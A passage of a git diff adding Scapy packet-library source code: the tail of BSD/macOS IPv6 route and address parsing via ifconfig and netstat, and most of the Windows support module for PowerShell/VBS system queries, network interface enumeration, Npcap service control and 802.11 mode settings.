+                    gw_if_addr = rtaddr
+        # XXX: TODO add metrics
+        metric = 1
+        if gw_if:
+            routes.append((dest,netmask, gw, gw_if, gw_if_addr, metric))
+        else:
+            warning("Did not find output interface to reach gateway %s", gw)
+
+    return routes
+
+############
+### IPv6 ###
+############
+
+def _in6_getifaddr(ifname):
+    """
+    Returns a list of IPv6 addresses configured on the interface ifname.
+    """
+
+    # Get the output of ifconfig
+    try:
+        f = os.popen("%s %s" % (conf.prog.ifconfig, ifname))
+    except OSError as msg:
+        log_interactive.warning("Failed to execute ifconfig.")
+        return []
+
+    # Iterate over lines and extract IPv6 addresses
+    ret = []
+    for line in f:
+        if "inet6" in line:
+            addr = line.rstrip().split(None, 2)[1] # The second element is the IPv6 address
+        else:
+            continue
+        if '%' in line: # Remove the interface identifier if present
+            addr = addr.split("%", 1)[0]
+
+        # Check if it is a valid IPv6 address
+        try:
+            socket.inet_pton(socket.AF_INET6, addr)
+        except:
+            continue
+
+        # Get the scope and keep the address
+        scope = in6_getscope(addr)
+        ret.append((addr, scope, ifname))
+
+    return ret
+
+def in6_getifaddr():
+    """
+    Returns a list of 3-tuples of the form (addr, scope, iface) where
+    'addr' is the address of scope 'scope' associated to the interface
+    'iface'.
+
+    This is the list of all addresses of all interfaces available on
+    the system.
+    """
+
+    # List all network interfaces
+    if OPENBSD:
+        try:
+            f = os.popen("%s" % conf.prog.ifconfig)
+        except OSError as msg:
+            log_interactive.warning("Failed to execute ifconfig.")
+            return []
+
+        # Get the list of network interfaces
+        splitted_line = []
+        for l in f:
+            if "flags" in l:
+                iface = l.split()[0].rstrip(':')
+                splitted_line.append(iface)
+
+    else: # FreeBSD, NetBSD or Darwin
+        try:
+            f = os.popen("%s -l" % conf.prog.ifconfig)
+        except OSError as msg:
+            log_interactive.warning("Failed to execute ifconfig.")
+            return []
+
+        # Get the list of network interfaces
+        splitted_line = f.readline().rstrip().split()
+
+    ret = []
+    for i in splitted_line:
+        ret += _in6_getifaddr(i)
+    return ret
+
+
+def read_routes6():
+    """Return a list of IPv6 routes than can be used by Scapy."""
+
+    # Call netstat to retrieve IPv6 routes
+    fd_netstat = os.popen("netstat -rn -f inet6")
+
+    # List interfaces IPv6 addresses
+    lifaddr = in6_getifaddr()
+    if not lifaddr:
+        return []
+
+    # Routes header information
+    got_header = False
+    mtu_present = False
+    prio_present = False
+
+    # Parse the routes
+    routes = []
+    for line in fd_netstat.readlines():
+
+        # Parse the routes header and try to identify extra columns
+        if not got_header:
+            if "Destination" == line[:11]:
+                got_header = True
+                mtu_present = "Mtu" in line
+                prio_present = "Prio" in line
+            continue
+
+        # Parse a route entry according to the operating system
+        splitted_line = line.split()
+        if OPENBSD or NETBSD:
+            index = 5 + mtu_present + prio_present
+            if len(splitted_line) < index:
+                warning("Not enough columns in route entry !")
+                continue
+            destination, next_hop, flags = splitted_line[:3]
+            dev = splitted_line[index]
+        else:
+            # FREEBSD or DARWIN
+            if len(splitted_line) < 4:
+                warning("Not enough columns in route entry !")
+                continue
+            destination, next_hop, flags, dev = splitted_line[:4]
+
+        # XXX: TODO: add metrics for unix.py (use -e option on netstat)
+        metric = 1
+
+        # Check flags
+        if not "U" in flags:  # usable route
+            continue
+        if "R" in flags:  # Host or net unreachable
+            continue
+        if "m" in flags:  # multicast address
+            # Note: multicast routing is handled in Route6.route()
+            continue
+
+        # Replace link with the default route in next_hop
+        if "link" in next_hop:
+            next_hop = "::"
+
+        # Default prefix length
+        destination_plen = 128
+
+        # Extract network interface from the zone id
+        if '%' in destination:
+            destination, dev = destination.split('%')
+            if '/' in dev:
+                # Example: fe80::%lo0/64 ; dev = "lo0/64"
+                dev, destination_plen = dev.split('/')
+        if '%' in next_hop:
+            next_hop, dev = next_hop.split('%')
+
+        # Ensure that the next hop is a valid IPv6 address
+        if not in6_isvalid(next_hop):
+            # Note: the 'Gateway' column might contain a MAC address
+            next_hop = "::"
+
+        # Modify parsed routing entries
+        # Note: these rules are OS specific and may evolve over time
+        if destination == "default":
+            destination, destination_plen = "::", 0
+        elif '/' in destination:
+            # Example: fe80::/10
+            destination, destination_plen = destination.split('/')
+        if '/' in dev:
+            # Example: ff02::%lo0/32 ; dev = "lo0/32"
+            dev, destination_plen = dev.split('/')
+
+        # Check route entries parameters consistency
+        if not in6_isvalid(destination):
+            warning("Invalid destination IPv6 address in route entry !")
+            continue
+        try:
+            destination_plen = int(destination_plen)
+        except:
+            warning("Invalid IPv6 prefix length in route entry !")
+            continue
+        if in6_ismlladdr(destination) or in6_ismnladdr(destination):
+            # Note: multicast routing is handled in Route6.route()
+            continue
+
+        if LOOPBACK_NAME in dev:
+            # Handle ::1 separately
+            cset = ["::1"]
+            next_hop = "::"
+        else:
+            # Get possible IPv6 source addresses
+            devaddrs = (x for x in lifaddr if x[2] == dev)
+            cset = construct_source_candidate_set(destination, destination_plen, devaddrs)
+
+        if len(cset):
+            routes.append((destination, destination_plen, next_hop, dev, cset, metric))
+
+    fd_netstat.close()
+    return routes
diff --git a/scapy/arch/windows/__init__.py b/scapy/arch/windows/__init__.py
new file mode 100755
index 0000000..abb1ea7
--- /dev/null
+++ b/scapy/arch/windows/__init__.py
@@ -0,0 +1,1106 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## Copyright (C) Gabriel Potter <gabriel@potter.fr>
+## This program is published under a GPLv2 license
+
+"""
+Customizations needed to support Microsoft Windows.
+"""
+from __future__ import absolute_import
+from __future__ import print_function
+import os, re, sys, socket, time, itertools, platform
+import subprocess as sp
+from glob import glob
+import tempfile
+from threading import Thread, Event
+
+import scapy
+from scapy.config import conf, ConfClass
+from scapy.error import Scapy_Exception, log_loading, log_runtime, warning
+from scapy.utils import atol, itom, inet_aton, inet_ntoa, PcapReader, pretty_list
+from scapy.utils6 import construct_source_candidate_set
+from scapy.base_classes import Gen, Net, SetGen
+from scapy.data import MTU, ETHER_BROADCAST, ETH_P_ARP
+
+import scapy.modules.six as six
+from scapy.modules.six.moves import range, zip, input
+from scapy.compat import plain_str
+
+conf.use_pcap = False
+conf.use_dnet = False
+conf.use_winpcapy = True
+
+WINDOWS = (os.name == 'nt')
+NEW_RELEASE = None
+
+#hot-patching socket for missing variables on Windows
+import socket
+if not hasattr(socket, 'IPPROTO_IPIP'):
+    socket.IPPROTO_IPIP=4
+if not hasattr(socket, 'IPPROTO_AH'):
+    socket.IPPROTO_AH=51
+if not hasattr(socket, 'IPPROTO_ESP'):
+    socket.IPPROTO_ESP=50
+if not hasattr(socket, 'IPPROTO_GRE'):
+    socket.IPPROTO_GRE=47
+
+from scapy.arch import pcapdnet
+from scapy.arch.pcapdnet import *
+
+_WlanHelper = NPCAP_PATH + "\\WlanHelper.exe"
+
+import scapy.consts
+
+def is_new_release(ignoreVBS=False):
+    if NEW_RELEASE and conf.prog.powershell is not None:
+        return True
+    release = platform.release()
+    if conf.prog.powershell is None and not ignoreVBS:
+        return False
+    try:
+         if float(release) >= 8:
+             return True
+    except ValueError:
+        if (release=="post2008Server"):
+            return True
+    return False
+
+def _encapsulate_admin(cmd):
+    """Encapsulate a command with an Administrator flag"""
+    # To get admin access, we start a new powershell instance with admin
+    # rights, which will execute the command
+    return "Start-Process PowerShell -windowstyle hidden -Wait -Verb RunAs -ArgumentList '-command &{%s}'" % cmd
+
+class _PowershellManager(Thread):
+    """Instance used to send multiple commands on the same Powershell process.
+    Will be instantiated on loading and automatically stopped.
+    """
+    def __init__(self):
+        # Start & redirect input
+        if conf.prog.powershell:
+            self.process = sp.Popen([conf.prog.powershell,
+                                     "-NoLogo", "-NonInteractive",  # Do not print headers
+                                     "-Command", "-"],  # Listen commands from stdin
+                             stdout=sp.PIPE,
+                             stdin=sp.PIPE,
+                             stderr=sp.STDOUT)
+            self.cmd = False
+        else:  # Fallback on CMD (powershell-only commands will fail, but scapy use the VBS fallback)
+            self.process = sp.Popen([conf.prog.cmd],
+                             stdout=sp.PIPE,
+                             stdin=sp.PIPE,
+                             stderr=sp.STDOUT)
+            self.cmd = True
+        self.buffer = []
+        self.running = True
+        self.query_complete = Event()
+        Thread.__init__(self)
+        self.daemon = True
+        self.start()
+        if self.cmd:
+            self.query(["echo @off"])  # Remove header
+        else:
+            self.query(["$FormatEnumerationLimit=-1"])  # Do not crop long IP lists
+
+    def run(self):
+        while self.running:
+            read_line = self.process.stdout.readline().strip()
+            if read_line == b"scapy_end":
+                self.query_complete.set()
+            else:
+                self.buffer.append(read_line.decode("utf8", "ignore") if six.PY3 else read_line)
+
+    def query(self, command):
+        self.query_complete.clear()
+        if not self.running:
+            self.__init__(self)
+        # Call powershell query using running process
+        self.buffer = []
+        # 'scapy_end' is used as a marker of the end of execution
+        query = " ".join(command) + ("&" if self.cmd else ";") + " echo scapy_end\n"
+        self.process.stdin.write(query.encode())
+        self.process.stdin.flush()
+        self.query_complete.wait()
+        return self.buffer[1:]  # Crops first line: the command
+
+    def close(self):
+        self.running = False
+        try:
+            self.process.stdin.write("exit\n")
+            self.process.terminate()
+        except:
+            pass
+
+def _exec_query_ps(cmd, fields):
+    """Execute a PowerShell query, using the cmd command,
+    and select and parse the provided fields.
+    """
+    if not conf.prog.powershell:
+        raise OSError("Scapy could not detect powershell !")
+    # Build query
+    query_cmd = cmd + ['|', 'select %s' % ', '.join(fields),  # select fields
+                       '|', 'fl',  # print as a list
+                       '|', 'out-string', '-Width', '4096']  # do not crop
+    l=[]
+    # Ask the powershell manager to process the query
+    stdout = POWERSHELL_PROCESS.query(query_cmd)
+    # Process stdout
+    for line in stdout:
+        if not line.strip(): # skip empty lines
+            continue
+        sl = line.split(':', 1)
+        if len(sl) == 1:
+            l[-1] += sl[0].strip()
+            continue
+        else:
+            l.append(sl[1].strip())
+        if len(l) == len(fields):
+            yield l
+            l=[]
+
+def _vbs_exec_code(code, split_tag="@"):
+    if not conf.prog.cscript:
+        raise OSError("Scapy could not detect cscript !")
+    tmpfile = tempfile.NamedTemporaryFile(mode="wb", suffix=".vbs", delete=False)
+    tmpfile.write(raw(code))
+    tmpfile.close()
+    ps = sp.Popen([conf.prog.cscript, tmpfile.name],
+                  stdout=sp.PIPE, stderr=open(os.devnull),
+                  universal_newlines=True)
+    for _ in range(3):
+        # skip 3 first lines
+        ps.stdout.readline()
+    for line in ps.stdout:
+        data = line.replace("\n", "").split(split_tag)
+        for l in data:
+            yield l
+    os.unlink(tmpfile.name)
+
+def _vbs_get_hardware_iface_guid(devid):
+    try:
+        devid = str(int(devid) + 1)
+        guid = next(iter(_vbs_exec_code("""WScript.Echo CreateObject("WScript.Shell").RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkCards\\%s\\ServiceName")
+""" % devid)))
+        guid = guid[:-1] if guid.endswith('}\n') else guid
+        if guid.startswith('{') and guid.endswith('}'):
+            return guid
+    except StopIteration:
+        return None
+
+# Some names differ between VBS and PS
+## None: field will not be returned under VBS
+_VBS_WMI_FIELDS = {
+    "Win32_NetworkAdapter": {
+        "InterfaceDescription": "Description",
+        # Note: when using VBS, the GUID is not the same than with Powershell
+        # So we use get the device ID instead, then use _vbs_get_hardware_iface_guid
+        # To get its real GUID
+        "GUID": "DeviceID"
+    },
+    "*": {
+        "Status": "State"
+    }
+}
+
+_VBS_WMI_REPLACE = {
+    "Win32_NetworkAdapterConfiguration": {
+        "line.IPAddress": "\"{\" & Join( line.IPAddress, \", \" ) & \"}\"",
+    }
+}
+
+_VBS_WMI_OUTPUT = {
+    "Win32_NetworkAdapter": {
+        "DeviceID": _vbs_get_hardware_iface_guid,
+    }
+}
+
+def _exec_query_vbs(cmd, fields):
+    """Execute a query using VBS. Currently Get-WmiObject, Get-Service
+    queries are supported.
+
+    """
+    if not(len(cmd) == 2 and cmd[0] in ["Get-WmiObject", "Get-Service"]):
+        return
+    action = cmd[0]
+    fields = [_VBS_WMI_FIELDS.get(cmd[1], _VBS_WMI_FIELDS.get("*", {})).get(fld, fld) for fld in fields]
+    parsed_command = "WScript.Echo " + " & \" @ \" & ".join("line.%s" % fld for fld in fields
+                           if fld is not None)
+    # The IPAddress is an array: convert it to a string
+    for key,val in _VBS_WMI_REPLACE.get(cmd[1], {}).items():
+        parsed_command = parsed_command.replace(key, val)
+    if action == "Get-WmiObject":
+        values = _vbs_exec_code("""Set wmi = GetObject("winmgmts:")
+Set lines = wmi.InstancesOf("%s")
+On Error Resume Next
+Err.clear
+For Each line in lines
+  %s
+Next
+""" % (cmd[1], parsed_command), "@")
+    elif action == "Get-Service":
+        values = _vbs_exec_code("""serviceName = "%s"
+Set wmi = GetObject("winmgmts://./root/cimv2")
+Set line = wmi.Get("Win32_Service.Name='" & serviceName & "'")
+%s
+""" % (cmd[1], parsed_command), "@")
+
+    while True:
+        yield [None if fld is None else
+               _VBS_WMI_OUTPUT.get(cmd[1], {}).get(fld, lambda x: x)(
+                   next(values).strip()
+               )
+               for fld in fields]
+
+def exec_query(cmd, fields):
+    """Execute a system query using PowerShell if it is available, and
+    using VBS/cscript as a fallback.
+
+    """
+    if conf.prog.powershell is None:
+        return _exec_query_vbs(cmd, fields)
+    return _exec_query_ps(cmd, fields)
+
+def _where(filename, dirs=None, env="PATH"):
+    """Find file in current dir, in deep_lookup cache or in system path"""
+    if dirs is None:
+        dirs = []
+    if not isinstance(dirs, list):
+        dirs = [dirs]
+    if glob(filename):
+        return filename
+    paths = [os.curdir] + os.environ[env].split(os.path.pathsep) + dirs
+    for path in paths:
+        for match in glob(os.path.join(path, filename)):
+            if match:
+                return os.path.normpath(match)
+    raise IOError("File not found: %s" % filename)
+
+def win_find_exe(filename, installsubdir=None, env="ProgramFiles"):
+    """Find executable in current dir, system path or given ProgramFiles subdir"""
+    fns = [filename] if filename.endswith(".exe") else [filename+".exe", filename]
+    for fn in fns:
+        try:
+            if installsubdir is None:
+                path = _where(fn)
+            else:
+                path = _where(fn, dirs=[os.path.join(os.environ[env], installsubdir)])
+        except IOError:
+            path = None
+        else:
+            break        
+    return path
+
+
+class WinProgPath(ConfClass):
+    _default = "<System default>"
+    def __init__(self):
+        self._reload()
+
+    def _reload(self):
+        # We try some magic to find the appropriate executables
+        self.pdfreader = win_find_exe("AcroRd32") 
+        self.psreader = win_find_exe("gsview32")
+        self.dot = win_find_exe("dot")
+        self.tcpdump = win_find_exe("windump")
+        self.tshark = win_find_exe("tshark")
+        self.tcpreplay = win_find_exe("tcpreplay")
+        self.display = self._default
+        self.hexedit = win_find_exe("hexer")
+        self.sox = win_find_exe("sox")
+        self.wireshark = win_find_exe("wireshark", "wireshark")
+        self.powershell = win_find_exe(
+            "powershell",
+            installsubdir="System32\\WindowsPowerShell\\v1.0",
+            env="SystemRoot"
+        )
+        self.cscript = win_find_exe("cscript", installsubdir="System32",
+                               env="SystemRoot")
+        self.cmd = win_find_exe("cmd", installsubdir="System32",
+                               env="SystemRoot")
+        if self.wireshark:
+            manu_path = load_manuf(os.path.sep.join(self.wireshark.split(os.path.sep)[:-1])+os.path.sep+"manuf")
+            scapy.data.MANUFDB = conf.manufdb = manu_path
+        
+        self.os_access = (self.powershell is not None) or (self.cscript is not None)
+
+conf.prog = WinProgPath()
+if not conf.prog.os_access:
+    warning("Scapy did not detect powershell and cscript ! Routes, interfaces and much more won't work !", onlyOnce=True)
+
+if conf.prog.tcpdump and conf.use_npcap and conf.prog.os_access:
+    def test_windump_npcap():
+        """Return wether windump version is correct or not"""
+        try:
+            p_test_windump = sp.Popen([conf.prog.tcpdump, "-help"], stdout=sp.PIPE, stderr=sp.STDOUT)
+            stdout, err = p_test_windump.communicate()
+            _output = stdout.lower()
+            return b"npcap" in _output and not b"winpcap" in _output
+        except:
+            return False
+    windump_ok = test_windump_npcap()
+    if not windump_ok:
+        warning("The installed Windump version does not work with Npcap ! Refer to 'Winpcap/Npcap conflicts' in scapy's doc", onlyOnce=True)
+    del windump_ok
+
+# Auto-detect release
+NEW_RELEASE = is_new_release()
+
+class PcapNameNotFoundError(Scapy_Exception):
+    pass    
+
+def is_interface_valid(iface):
+    if "guid" in iface and iface["guid"]:
+        # Fix '-' instead of ':'
+        if "mac" in iface:
+            iface["mac"] = iface["mac"].replace("-", ":")
+        return True
+    return False
+
+def get_windows_if_list():
+    """Returns windows interfaces."""
+    if not conf.prog.os_access:
+        return []
+    if is_new_release():
+        # This works only starting from Windows 8/2012 and up. For older Windows another solution is needed
+        # Careful: this is weird, but Get-NetAdaptater works like: (Name isn't the interface name)
+        # Name                      InterfaceDescription                    ifIndex Status       MacAddress             LinkSpeed
+        # ----                      --------------------                    ------- ------       ----------             ---------
+        # Ethernet                  Killer E2200 Gigabit Ethernet Contro...      13 Up           D0-50-99-56-DD-F9         1 Gbps
+        query = exec_query(['Get-NetAdapter'],
+                           ['InterfaceDescription', 'InterfaceIndex', 'Name',
+                            'InterfaceGuid', 'MacAddress', 'InterfaceAlias']) # It is normal that it is in this order
+    else:
+        query = exec_query(['Get-WmiObject', 'Win32_NetworkAdapter'],
+                           ['Name', 'InterfaceIndex', 'InterfaceDescription',
+                            'GUID', 'MacAddress', 'NetConnectionID'])
+    return [
+        iface for iface in
+        (dict(zip(['name', 'win_index', 'description', 'guid', 'mac', 'netid'], line))
+         for line in query)
+        if is_interface_valid(iface)
+    ]
+
+def get_ips(v6=False):
+    """Returns all available IPs matching to interfaces, using the windows system.
+    Should only be used as a WinPcapy fallback."""
+    res = {}
+    for descr, ipaddr in exec_query(['Get-WmiObject',
+                                     'Win32_NetworkAdapterConfiguration'],
+                                    ['Description', 'IPAddress']):
+        if ipaddr.strip():
+            res[descr] = ipaddr.split(",", 1)[v6].strip('{}').strip()
+    return res
+
+def get_ip_from_name(ifname, v6=False):
+    """Backward compatibility: indirectly calls get_ips
+    Deprecated."""
+    return get_ips(v6=v6).get(ifname, "")
+        
+class NetworkInterface(object):
+    """A network interface of your local host"""
+    
+    def __init__(self, data=None):
+        self.name = None
+        self.ip = None
+        self.mac = None
+        self.pcap_name = None
+        self.description = None
+        self.data = data
+        self.invalid = False
+        self.raw80211 = None
+        if data is not None:
+            self.update(data)
+
+    def update(self, data):
+        """Update info about network interface according to given dnet dictionary"""
+        if 'netid' in data and data['netid'] == scapy.consts.LOOPBACK_NAME:
+            # Force LOOPBACK_NAME: Some Windows systems overwrite 'name'
+            self.name = scapy.consts.LOOPBACK_NAME
+        else:
+            self.name = data['name']
+        self.description = data['description']
+        self.win_index = data['win_index']
+        self.guid = data['guid']
+        if 'invalid' in data:
+            self.invalid = data['invalid']
+        # Other attributes are optional
+        self._update_pcapdata()
+
+        try:
+            # Npcap loopback interface
+            if self.name == scapy.consts.LOOPBACK_NAME and conf.use_npcap:
+                # https://nmap.org/npcap/guide/npcap-devguide.html
+                self.mac = "00:00:00:00:00:00"
+                self.ip = "127.0.0.1"
+                conf.cache_ipaddrs[self.pcap_name] = socket.inet_aton(self.ip)
+                return
+            else:
+                self.mac = data['mac']
+        except KeyError:
+            pass
+
+        try:
+            self.ip = socket.inet_ntoa(get_if_raw_addr(self))
+        except (TypeError, NameError):
+            pass
+
+        try:
+            # Windows native loopback interface
+            if not self.ip and self.name == scapy.consts.LOOPBACK_NAME:
+                self.ip = "127.0.0.1"
+                conf.cache_ipaddrs[self.pcap_name] = socket.inet_aton(self.ip)
+        except (KeyError, AttributeError, NameError) as e:
+            print(e)
+
+    def _update_pcapdata(self):
+        if self.is_invalid():
+            return
+        for i in get_if_list():
+            if i.endswith(self.data['guid']):
+                self.pcap_name = i
+                return
+
+        raise PcapNameNotFoundError
+
+    def is_invalid(self):
+        return self.invalid
+
+    def _check_npcap_requirement(self):
+        if not conf.use_npcap:
+            raise OSError("This operation requires Npcap.")
+        if self.raw80211 is None:
+            # This checks if npcap has Dot11 enabled and if the interface is compatible,
+            # by looking for the npcap/Parameters/Dot11Adapters key in the registry.
+            try:
+                dot11adapters = next(iter(_vbs_exec_code("""WScript.Echo CreateObject("WScript.Shell").RegRead("HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\npcap\\Parameters\\Dot11Adapters")""")))
+            except StopIteration:
+                pass
+            else:
+                self.raw80211 = ("\\Device\\" + self.guid).lower() in dot11adapters.lower()
+        if not self.raw80211:
+            raise Scapy_Exception("This interface does not support raw 802.11")
+
+    def mode(self):
+        """Get the interface operation mode.
+        Only available with Npcap."""
+        self._check_npcap_requirement()
+        return sp.Popen([_WlanHelper, self.guid[1:-1], "mode"], stdout=sp.PIPE).communicate()[0].strip()
+
+    def availablemodes(self):
+        """Get all available interface modes.
+        Only available with Npcap."""
+        # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11
+        self._check_npcap_requirement()
+        return sp.Popen([_WlanHelper, self.guid[1:-1], "modes"], stdout=sp.PIPE).communicate()[0].strip().split(",")
+
+    def setmode(self, mode):
+        """Set the interface mode. It can be:
+        - 0 or managed: Managed Mode (aka "Extensible Station Mode")
+        - 1 or monitor: Monitor Mode (aka "Network Monitor Mode")
+        - 2 or master: Master Mode (aka "Extensible Access Point") (supported from Windows 7 and later)
+        - 3 or wfd_device: The Wi-Fi Direct Device operation mode (supported from Windows 8 and later)
+        - 4 or wfd_owner: The Wi-Fi Direct Group Owner operation mode (supported from Windows 8 and later)
+        - 5 or wfd_client: The Wi-Fi Direct Client operation mode (supported from Windows 8 and later)
+        Only available with Npcap."""
+        # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11
+        self._check_npcap_requirement()
+        _modes = {
+            0: "managed",
+            1: "monitor",
+            2: "master",
+            3: "wfd_device",
+            4: "wfd_owner",
+            5: "wfd_client"
+        }
+        m = _modes.get(mode, "unknown") if isinstance(mode, int) else mode
+        return sp.call(_WlanHelper + " " + self.guid[1:-1] + " mode " + m)
+
+    def channel(self):
+        """Get the channel of the interface.
+        Only available with Npcap."""
+        # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11
+        self._check_npcap_requirement()
+        return sp.Popen([_WlanHelper, self.guid[1:-1], "channel"],
+                        stdout=sp.PIPE).communicate()[0].strip()
+
+    def setchannel(self, channel):
+        """Set the channel of the interface (1-14):
+        Only available with Npcap."""
+        # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11
+        self._check_npcap_requirement()
+        return sp.call(_WlanHelper + " " + self.guid[1:-1] + " channel " + str(channel))
+
+    def frequence(self):
+        """Get the frequence of the interface.
+        Only available with Npcap."""
+        # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11
+        self._check_npcap_requirement()
+        return sp.Popen([_WlanHelper, self.guid[1:-1], "freq"], stdout=sp.PIPE).communicate()[0].strip()
+
+    def setfrequence(self, freq):
+        """Set the channel of the interface (1-14):
+        Only available with Npcap."""
+        # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11
+        self._check_npcap_requirement()
+        return sp.call(_WlanHelper + " " + self.guid[1:-1] + " freq " + str(freq))
+
+    def availablemodulations(self):
+        """Get all available 802.11 interface modulations.
+        Only available with Npcap."""
+        # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11
+        self._check_npcap_requirement()
+        return sp.Popen([_WlanHelper, self.guid[1:-1], "modus"], stdout=sp.PIPE).communicate()[0].strip().split(",")
+
+    def modulation(self):
+        """Get the 802.11 modulation of the interface.
+        Only available with Npcap."""
+        # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11
+        self._check_npcap_requirement()
+        return sp.Popen([_WlanHelper, self.guid[1:-1], "modu"], stdout=sp.PIPE).communicate()[0].strip()
+
+    def setmodulation(self, modu):
+        """Set the interface modulation. It can be:
+           - 0: dsss
+           - 1: fhss
+           - 2: irbaseband
+           - 3: ofdm
+           - 4: hrdss
+           - 5: erp
+           - 6: ht
+           - 7: vht
+           - 8: ihv
+           - 9: mimo-ofdm
+           - 10: mimo-ofdm
+        Only available with Npcap."""
+        # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11
+        self._check_npcap_requirement()
+        _modus = {
+            0: "dsss",
+            1: "fhss",
+            2: "irbaseband",
+            3: "ofdm",
+            4: "hrdss",
+            5: "erp",
+            6: "ht",
+            7: "vht",
+            8: "ihv",
+            9: "mimo-ofdm",
+            10: "mimo-ofdm",
+        }
+        m = _modus.get(modu, "unknown") if isinstance(modu, int) else modu
+        return sp.call(_WlanHelper + " " + self.guid[1:-1] + " mode " + m)
+
+    def __repr__(self):
+        return "<%s %s %s>" % (self.__class__.__name__, self.name, self.guid)
+
+def pcap_service_name():
+    """Return the pcap adapter service's name"""
+    return "npcap" if conf.use_npcap else "npf"
+
+def pcap_service_status():
+    """Returns a tuple (name, description, started) of the windows pcap adapter"""
+    for i in exec_query(['Get-Service', pcap_service_name()], ['Name', 'DisplayName', 'Status']):
+        name = i[0]
+        description = i[1]
+        started = (i[2].lower().strip() == 'running')
+        if name == pcap_service_name():
+            return (name, description, started)
+    return (None, None, None)
+
+def pcap_service_control(action, askadmin=True):
+    """Util to run pcap control command"""
+    if not conf.prog.powershell:
+        return False
+    command = action + ' ' + pcap_service_name()
+    stdout = POWERSHELL_PROCESS.query([_encapsulate_admin(command) if askadmin else command])
+    return "error" not in "".join(stdout).lower()
+
+def pcap_service_start(askadmin=True):
+    """Starts the pcap adapter. Will ask for admin. Returns True if success"""
+    return pcap_service_control('Start-Service', askadmin=askadmin)
+
+def pcap_service_stop(askadmin=True):
+    """Stops the pcap adapter. Will ask for admin. Returns True if success"""
+    return pcap_service_control('Stop-Service', askadmin=askadmin) 
+    
+from scapy.modules.six.moves import UserDict
+
+class NetworkInterfaceDict(UserDict):
+    """Store information about network interfaces and convert between names""" 
+    def load_from_powershell(self):
+        if not conf.prog.os_access:
+            return
+        ifaces_ips = None
+        for i in get_windows_if_list():
+            try:
+                interface = NetworkInterface(i)
+                self.data[interface.guid] = interface
+                # If no IP address was detected using winpcap and if
+                # the interface is not the loopback one, look for
+                # internal windows interfaces
+                if not interface.ip:
+                    if not ifaces_ips:  # ifaces_ips is used as a cache
+                        ifaces_ips = get_ips()
+                    # If it exists, retrieve the interface's IP from the cache
+                    interface.ip = ifaces_ips.get(interface.name, "")
+            except (KeyError, PcapNameNotFoundError):
+                pass
+        
+        if not self.data and conf.use_winpcapy:
+            _detect = pcap_service_status()
+            def _ask_user():
+                if not conf.interactive:
+                    return False
+                while True:
+                    _confir = input("Do you want to start it ? (yes/no) [y]: ").lower().strip()
+                    if _confir in ["yes", "y", ""]:
+                        return True
+                    elif _confir in ["no", "n"]:
+                        return False
+                return False
+            _error_msg = "No match between your pcap and windows network interfaces found. "
+            if _detect[0] and not _detect[2] and not (hasattr(self, "restarted_adapter") and self.restarted_adapter):
+                warning("Scapy has detected that your pcap service is not running !")
+                if not conf.interactive or _ask_user():
+                    succeed = pcap_service_start(askadmin=conf.interactive)
+                    self.restarted_adapter = True
+                    if succeed:
+                        log_loading.info("Pcap service started !")
+                        self.load_from_powershell()
+                        return
+                _error_msg = "Could not start the pcap service ! "
+            warning(_error_msg +
+                    "You probably won't be able to send packets. "
+                    "Deactivating unneeded interfaces and restarting Scapy might help. "
+                    "Check your winpcap and powershell installation, and access rights.", onlyOnce=True)
+        else:
+            # Loading state: remove invalid interfaces
+            self.remove_invalid_ifaces()
+            # Replace LOOPBACK_INTERFACE
+            try:
+                scapy.consts.LOOPBACK_INTERFACE = self.dev_from_name(
+                    scapy.consts.LOOPBACK_NAME,
+                )
+            except:
+                pass
+
+    def dev_from_name(self, name):
+        """Return the first pcap device name for a given Windows
+        device name.
+        """
+        for iface in six.itervalues(self):
+            if iface.name == name:
+                return iface
+        raise ValueError("Unknown network interface %r" % name)
+
+    def dev_from_pcapname(self, pcap_name):
+        """Return Windows device name for given pcap device name."""
+        for iface in six.itervalues(self):
+            if iface.pcap_name == pcap_name:
+                return iface
+        raise ValueError("Unknown pypcap network interface %r" % pcap_name)
+
+    def dev_from_index(self, if_index):
+        """Return interface name from interface index"""
+        for devname, iface in six.iteritems(self):
+            if iface.win_index == str(if_index):
+                return iface
+        if str(if_index) == "1":
+            # Test if the loopback interface is set up
+            if isinstance(scapy.consts.LOOPBACK_INTERFACE, NetworkInterface):
+                return scapy.consts.LOOPBACK_INTERFACE
+        raise ValueError("Unknown network interface index %r" % if_index)
+
+    def remove_invalid_ifaces(self):
+        """Remove all invalid interfaces"""
+        for devname in list(self.keys()):
+            iface = self.data[devname]
+            if iface.is_invalid():
+                self.data.pop(devname)
+
+    def reload(self):
+        """Reload interface list"""
+        self.restarted_adapter = False
+        self.data.clear()
+        self.load_from_powershell()
+
+    def show(self, resolve_mac=True, print_result=True):
+        """Print list of available network interfaces in human readable form"""
+        res = []
+        for iface_name in sorted(self.data):
+            dev = self.data[iface_name]
+            mac = dev.mac
+            if resolve_mac and conf.manufdb:
+                mac = conf.manufdb._resolve_MAC(mac)
+            res.append((str(dev.win_index).ljust(5), str(dev.name).ljust(35), str(dev.ip).ljust(15), mac))
+
+        res = pretty_list(res, [("INDEX", "IFACE", "IP", "MAC")])
+        if print_result:
+            print(res)
+        else:
+            return res
+
+    def __repr__(self):
+        return self.show(print_result=False)
+
+# Init POWERSHELL_PROCESS
+POWERSHELL_PROCESS = _PowershellManager()
+
+IFACES = NetworkInterfaceDict()
+IFACES.load_from_powershell()
+
+def pcapname(dev):
+    """Return pypcap device name for given interface or libdnet/Scapy
+    device name.
+
+    """
+    if isinstance(dev, NetworkInterface):
+        if dev.is_invalid():
+            return None
+        return dev.pcap_name
+    try:
+        return IFACES.dev_from_name(dev).pcap_name
+    except ValueError:
+        if conf.use_pcap:
+            # pcap.pcap() will choose a sensible default for sniffing if
+            # iface=None
